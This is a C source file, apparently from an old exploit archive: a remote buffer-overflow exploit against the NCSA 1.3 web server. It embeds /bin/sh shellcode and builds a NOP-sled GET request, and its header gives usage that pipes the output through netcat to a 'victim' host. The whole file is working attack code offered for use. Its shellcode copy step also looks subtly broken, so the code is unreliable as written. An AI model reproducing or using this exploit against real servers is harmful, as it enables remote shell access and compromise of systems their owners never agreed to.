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ncsa1-3.c
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C/C++ Source or Header
|
2005-02-12
|
960b
|
49 lines
/*
; NCSA Webserver Buffer Overflow in 1.3
; By Xtremist (xtremist@2xs.co.il) for [r00tabega.security.labs]
; Tested on Slackware 4.0 with NCSA 1.3
; usage:
; $ (ncsaexpl 0; cat) | nc victim 80
;
; OFFSET usually from -1000 to 1000
; greets all people i know :)
;*/
#include <stdio.h>
unsigned char shell[] = /* alphae1's shellcode for execve */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char user[264];
long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc,char **argv){
int i; int offset=160;
long ret;
if(argc>1) {
offset=atoi(argv[1]);
}
ret=(get_esp()-offset);
for(i=1;i<264;i+=4){
*(long *)&user[i]=ret;
}
for(i=0;i<(260-strlen(shell));i++) {
*(user+i)=0x90; /*NOP*/
}
memcpy(shell+i,shell,strlen(shell));
printf("GET %s\n", user);
}